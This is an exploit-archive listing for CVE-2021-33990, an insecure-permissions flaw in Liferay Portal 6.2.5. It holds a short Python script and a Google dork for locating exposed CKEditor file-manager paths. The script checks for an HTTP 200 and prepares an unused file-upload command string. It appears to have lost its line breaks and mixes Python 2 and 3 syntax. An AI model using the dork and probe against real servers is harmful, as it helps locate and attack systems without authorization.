Liferay Portal 6.2.5 Insecure Permissions

Liferay Portal 6.2.5 Insecure Permissions

Posted Apr 5, 2023

Authored by fu2x2000

Liferay Portal version 6.2.5 suffers from an insecure permissions vulnerability.

tags | exploit

advisories | CVE-2021-33990

SHA-256 | e3e411dfd9f5109ca37b6290d45f0e2d70ef14dec30d730427fdf7979b0850b5

Download | Favorite | View

Liferay Portal 6.2.5 Insecure Permissions

# Exploit Title: Liferay Portal 6.2.5 - Insecure Permissions# Google Dork: -inurl:/html/js/editor/ckeditor/editor/filemanager/browser/# Date: 2021/05# Exploit Author: fu2x2000# Version: Liferay Portal 6.2.5 or later# CVE : CVE-2021-33990 import requestsimport jsonprint (" Search this on Google #Dork for liferay-inurl:/html/js/editor/ckeditor/editor/filemanager/browser/")url ="URL Goes Here/html/js/editor/ckeditor/editor/filemanager/browser/liferay/frmfolders.html"req = requests.get(url)print reqsta = req.status_codeif sta == 200:print ('Life Vulnerability exists')cook = urlprint cookinject = "Command=FileUpload&Type=File&CurrentFolder=/"#cook_inject = cook+inject#print cook_injectelse:print ('not found try a another method')print ("solution restrict access and user groups")

File Tags

• ActiveX (932)
• Advisory (80,663)
• Arbitrary (15,931)
• BBS (2,859)
• Bypass (1,655)
• CGI (1,022)
• Code Execution (7,067)
• Conference (677)
• Cracker (840)
• CSRF (3,307)
• DoS (22,956)
• Encryption (2,359)
• Exploit (50,803)
• File Inclusion (4,186)
• File Upload (951)
• Firewall (821)
• Info Disclosure (2,691)
• Intrusion Detection (876)
• Java (2,961)
• JavaScript (831)
• Kernel (6,471)
• Local (14,314)
• Magazine (586)
• Overflow (12,549)
• Perl (1,419)
• PHP (5,111)
• Proof of Concept (2,297)
• Protocol (3,505)
• Python (1,488)
• Remote (30,329)
• Root (3,538)
• Rootkit (502)
• Ruby (603)
• Scanner (1,633)
• Security Tool (7,825)
• Shell (3,138)
• Shellcode (1,209)
• Sniffer (890)
• Spoof (2,182)
• SQL Injection (16,180)
• TCP (2,385)
• Trojan (687)
• UDP (881)
• Virus (663)
• Vulnerability (31,400)
• Web (9,473)
• Whitepaper (3,740)
• x86 (948)
• XSS (17,599)
• Other

File Archives

• April 2023
• March 2023
• February 2023
• January 2023
• December 2022
• November 2022
• October 2022
• September 2022
• August 2022
• July 2022
• June 2022
• May 2022
• Older

Systems

• AIX (426)
• Apple (1,960)
• BSD (372)
• CentOS (56)
• Cisco (1,919)
• Debian (6,715)
• Fedora (1,691)
• FreeBSD (1,244)
• Gentoo (4,288)
• HPUX (878)
• iOS (340)
• iPhone (108)
• IRIX (220)
• Juniper (67)
• Linux (45,194)
• Mac OS X (684)
• Mandriva (3,105)
• NetBSD (256)
• OpenBSD (482)
• RedHat (12,962)
• Slackware (941)
• Solaris (1,609)
• SUSE (1,444)
• Ubuntu (8,470)
• UNIX (9,209)
• UnixWare (185)
• Windows (6,534)
• Other